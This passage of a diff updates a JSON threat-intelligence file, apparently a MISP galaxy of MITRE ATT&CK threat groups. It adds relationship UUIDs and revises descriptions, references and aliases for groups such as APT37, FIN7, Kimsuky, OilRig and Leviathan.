+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e221eb77-1502-4129-af1d-fe1ad55e7ec6",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "00f67a77-86a4-4adf-be26-1a54fc713340",
@@ -16877,6 +18398,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
@@ -17427,6 +18955,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "fbd29c89-18ba-4c2d-b792-51c0adee049f",
@@ -17441,13 +18976,6 @@
]
},
"related": [
- {
- "dest-uuid": "73a521f6-3bc7-11e8-9e30-df7c90e50dda",
- "tags": [
- "estimative-language:likelihood-probability=\"likely\""
- ],
- "type": "similar"
- },
{
"dest-uuid": "4ca1929c-7d64-4aab-b849-badbfc0c760d",
"tags": [
@@ -17651,6 +19179,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "85403903-15e0-4f9f-9be4-a259ecad4022",
@@ -17734,13 +19269,27 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c4810609-7da6-48ec-8057-1b70a7814db0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
"value": "Dragonfly - G0035"
},
{
- "description": "[APT37](https://attack.mitre.org/groups/G0067) is a suspected North Korean cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, Northern Korean Human Rights, and Evil New Year 2018. (Citation: FireEye APT37 Feb 2018) (Citation: Securelist ScarCruft Jun 2016) (Citation: Talos Group123)\n\nNorth Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.",
+ "description": "[APT37](https://attack.mitre.org/groups/G0067) is a North Korean state-sponsored cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to the following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, North Korean Human Rights, and Evil New Year 2018.(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft Jun 2016)(Citation: Talos Group123)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.",
"meta": {
"external_id": "G0067",
"refs": [
@@ -17748,12 +19297,14 @@
"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf",
"https://securelist.com/operation-daybreak/75100/",
"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html",
- "https://www.us-cert.gov/ncas/alerts/TA17-164A",
- "https://securelist.com/lazarus-under-the-hood/77908/",
+ "https://adversary.crowdstrike.com/en-US/adversary/ricochet-chollima/",
+ "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/",
"https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/"
],
"synonyms": [
"APT37",
+ "Richochet Chollima",
+ "InkySquid",
"ScarCruft",
"Reaper",
"Group123",
@@ -18040,6 +19591,41 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a7881f21-e978-4fe4-af56-92c9416a2616",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "4a2ce82e-1a74-468a-a6fb-bbead541383c",
@@ -18421,6 +20007,20 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "c9b99d03-ff11-4a48-95f0-82660d582c25",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
@@ -18945,6 +20545,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "44e43fad-ffcb-4210-abcf-eaaed9735f80",
@@ -19518,7 +21125,7 @@
"type": "uses"
},
{
- "dest-uuid": "1cfcb312-b8d7-47a4-b560-4b16cc677292",
+ "dest-uuid": "0cf55441-b176-4332-89e7-2c4c7799d0ff",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
@@ -20004,6 +21611,69 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a7881f21-e978-4fe4-af56-92c9416a2616",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7c58fff0-d206-4db1-96b1-e3a9e0e320b9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "292eb0c5-b8e8-4af6-9e8f-0fda6b4528d3",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "434ba392-ebdc-488b-b1ef-518deea65774",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "94d6d788-07bb-4dcc-b62f-e02626b00108",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
@@ -20111,7 +21781,7 @@
"value": "Sowbug - G0054"
},
{
- "description": "[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has primarily targeted the U.S. retail, restaurant, and hospitality sectors since mid-2015. They often use point-of-sale malware. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security. [FIN7](https://attack.mitre.org/groups/G0046) is sometimes referred to as [Carbanak](https://attack.mitre.org/groups/G0008) Group, but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: FireEye CARBANAK June 2017) (Citation: FireEye FIN7 Aug 2018)",
+ "description": "[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013 primarily targeting the U.S. retail, restaurant, and hospitality sectors, often using point-of-sale malware. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security. Since 2020 [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to a big game hunting (BGH) approach including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware as a Service (RaaS), Darkside. [FIN7](https://attack.mitre.org/groups/G0046) may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but there appears to be several groups using [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)",
"meta": {
"external_id": "G0046",
"refs": [
@@ -20120,11 +21790,17 @@
"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html",
"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html",
"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html",
+ "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/",
"http://blog.morphisec.com/fin7-attacks-restaurant-industry",
- "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html"
+ "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html",
+ "https://www.secureworks.com/research/threat-profiles/gold-niagara",
+ "https://securityintelligence.com/posts/ransomware-2020-attack-trends-new-techniques-affecting-organizations-worldwide/"
],
"synonyms": [
- "FIN7"
+ "FIN7",
+ "GOLD NIAGARA",
+ "ITG14",
+ "Carbon Spider"
]
},
"related": [
@@ -20372,6 +22048,160 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "40f5caa0-4cb7-4117-89fc-d421bb493df3",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f559f945-eb8b-48b1-904c-68568deebed3",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a7881f21-e978-4fe4-af56-92c9416a2616",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c4810609-7da6-48ec-8057-1b70a7814db0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2db31dcd-54da-405d-acef-b9129b816ed6",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "13cd9151-83b7-410d-9f98-25d0f0d1d80d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "01327cde-66c4-4123-bf34-5f258d59457b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f59508a6-3615-47c3-b493-6676e1a39a87",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "3753cc21-2dae-4dfb-8481-d004e74502cc",
@@ -20510,7 +22340,7 @@
"value": "RTM - G0048"
},
{
- "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korean-based threat group that has been active since at least September 2013. The group initially focused on targeting Korean think tanks and DPRK/nuclear-related targets, expanding recently to the United States, Russia, and Europe. The group was attributed as the actor behind the Korea Hydro & Nuclear Power Co. compromise.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)",
+ "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the United States, Russia, Europe, and the UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)\n\n[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.",
"meta": {
"external_id": "G0094",
"refs": [
@@ -20518,12 +22348,18 @@
"https://blog.alyac.co.kr/2234",
"https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/",
"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
+ "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/",
+ "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
+ "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/",
+ "https://blog.alyac.co.kr/attachment/cfile5.uf@99A0CD415CB67E210DCEB3.pdf",
+ "https://global.ahnlab.com/global/upload/download/techreport/[Analysis_Report]Operation%20Kabar%20Cobra.pdf",
"https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/",
"https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/",
"https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/"
],
"synonyms": [
"Kimsuky",
+ "STOLEN PENCIL",
"Thallium",
"Black Banshee",
"Velvet Chollima"
@@ -20872,13 +22708,83 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "bbe5b322-e2af-4a5e-9625-a4e62bf84ed3",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "295721d2-ee20-4fa3-ade3-37f4146b4570",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "69f897fd-12a9-4c89-ad6a-46d2f3c38262",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
"value": "Kimsuky - G0094"
},
{
- "description": "[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity.",
+ "description": "[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018)",
"meta": {
"external_id": "G0049",
"refs": [
@@ -20891,7 +22797,8 @@
"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html",
"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/",
"https://www.secureworks.com/research/threat-profiles/cobalt-gypsy",
- "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/"
+ "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/",
+ "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/"
],
"synonyms": [
"OilRig",
@@ -21433,6 +23340,41 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "df4cd566-ff2f-4d08-976d-8c86e95782de",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "4ca1929c-7d64-4aab-b849-badbfc0c760d",
@@ -21605,17 +23547,26 @@
"value": "PROMETHIUM - G0056"
},
{
- "description": "[Leviathan](https://attack.mitre.org/groups/G0065) is a cyber espionage group that has been active since at least 2013. The group generally targets defense and government organizations, but has also targeted a range of industries including engineering firms, shipping and transportation, manufacturing, defense, government offices, and research universities in the United States, Western Europe, and along the South China Sea. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)",
+ "description": "[Leviathan](https://attack.mitre.org/groups/G0065) is a Chinese state-sponsored cyber espionage group that has been attributed to the Ministry of State Security's (MSS) Hainan State Security Department and an affiliated front company.(Citation: CISA AA21-200A APT40 July 2021) Active since at least 2009, [Leviathan](https://attack.mitre.org/groups/G0065) has targeted the following sectors: academia, aerospace/aviation, biomedical, defense industrial base, government, healthcare, manufacturing, maritime, and transportation across the US, Canada, Europe, the Middle East, and Southeast Asia.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)",
"meta": {
"external_id": "G0065",
"refs": [
"https://attack.mitre.org/groups/G0065",
+ "https://us-cert.cisa.gov/ncas/alerts/aa21-200a",
"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html",
+ "https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies",
+ "https://www.crowdstrike.com/blog/two-birds-one-stone-panda/",
+ "https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/",
+ "https://www.secureworks.com/research/threat-profiles/bronze-mohawk",
"https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html"
],
"synonyms": [
"Leviathan",
+ "MUDCARP",
+ "Kryptonite Panda",
+ "Gadolinium",
+ "BRONZE MOHAWK",
"TEMP.Jumper",
"APT40",
"TEMP.Periscope"
@@ -21636,13 +23587,6 @@
],
"type": "uses"
},
- {
- "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
{
"dest-uuid": "64764dc6-a032-495f-8250-1e4c06bdc163",
"tags": [
@@ -21727,13 +23671,6 @@
],
"type": "uses"
},
- {
- "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
{
"dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
"tags": [
@@ -21908,6 +23845,167 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "b1ccd744-3f78-4a0e-9bb2-2002057f7928",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "bc76d0a4-db11-4551-9ac4-01a469cfb161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "65013dd2-bc61-43e3-afb5-a14c4fa7437a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "40f5caa0-4cb7-4117-89fc-d421bb493df3",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c2e147a9-d1a8-4074-811a-d8789202d916",
+ "tags": [
